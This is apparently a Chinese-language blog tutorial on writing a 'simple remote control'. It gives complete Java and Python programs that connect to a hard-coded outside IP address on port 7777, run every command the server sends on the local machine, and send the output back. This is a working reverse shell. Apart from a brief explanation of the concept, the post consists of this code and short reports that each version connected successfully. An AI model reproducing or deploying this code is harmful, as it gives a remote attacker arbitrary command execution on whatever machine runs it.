简单远控的实现

2022-01-18

远程控制的本质

远程控制的本质在于以下三点

建立socket连接，用来传输命令。
使用编程语言中的执行类，用来执行命令。
使用io流将执行的结果传给远程终端。

简单远控的编写（java）

package 远程控制;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.nio.charset.StandardCharsets;

public class App {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("121.35.214.7",7777);
            //while循环保证执行完一次命令后不会退出控制台
            while(true){
                //接受服务器端传输的数据
                InputStream inputStream = socket.getInputStream();
                //一次传输一个字节
                byte[] bytes = new byte[1];
                //传输的数据需要由字节转化为字符串
                String info = "";
                //while循环对刚才接收到的数据进行处理
                while(true){
                    // 如果流里有东西，开启读取信息
                    if(inputStream.available()>0){
                        inputStream.read(bytes);
                        String hexStr = ByteArrayToHexStr(bytes);
                        info += HexStrToStr(hexStr);
                        // 如果流里没东西 消息读取结束
                        if(inputStream.available() == 0){
                            //读取到的内容去除首位空格
                            info = info.trim();
                            //如果内容是一个exit就结束程序
                            if(info.equals("exit")){
                                return;
                            }
                            //要使用try-catch语句捕获异常
                            try {
                                //Runtime.getruntime.exec()执行命令
                                Process exec = Runtime.getRuntime().exec(info);
                                //获取命令执行结果的输入流，用于回传结果
                                InputStream results = exec.getInputStream();
                                //读取缓冲区内容
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                //创建数据输出流对象，用于传回数据
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                //将回传的命令执行结果后买你加一个换行符，将此次返回的结果与下一次输出的命令隔行
                                String line;
                                while ((line = reader.readLine())!=null){
                                    dataOutputStream.write((line+"\n").getBytes(StandardCharsets.UTF_8));
                                    dataOutputStream.flush();
                                }
                                exec.waitFor();
                                //关闭对应流
                                results.close();
                                reader.close();
                                exec.destroy();
                                break;
                            }catch (Exception e){
                                continue;
                            }finally {
                                //info滞空，等待下一次命令
                                info = "";
                            }
                        }
                    }
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static String ByteArrayToHexStr(byte[] byteArray){
        if(byteArray == null){
            return null;
        }
        char[] hexArray = "0123456789ABCDEF".toCharArray();
        char[] hexChars = new char[byteArray.length * 2];
        for(int i = 0;i<byteArray.length;i++){
            int temp = byteArray[i] & 0xFF;
            hexChars[i*2] = hexArray[temp >>> 4];
            hexChars[i*2+1] = hexArray[temp & 0x0F];
        }
        return new String(hexChars);
    }

    public static String HexStrToStr(String hexStr){
        byte[] array = new byte[hexStr.length() /2];
        try {
            for(int i =0;i<array.length;i++){
                array[i] = (byte) (0xFF & Integer.parseInt(hexStr.substring(i*2,i*2+2),16));
            }
            hexStr = new String(array,"UTF-8");
        }catch (Exception e){
            e.printStackTrace();
            return "";
        }
        return hexStr;
    }
}

测试与服务器相连接，结果如下：

连接成功！

Java的非常不好写，所以用python也尝试了一下。

python版本

只要有思路了，python的非常好写。

import socket
import os
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("121.35.214.7",7777))
while True:
    info=sock.recv(1024)
    #string转换成unicode编码才能够执行
    if "exit" in info.decode():
        break
    data=os.popen(info.decode()).read()
    sock.send(data.encode('utf-8'))
sock.close()

同样进行测试

也成功了！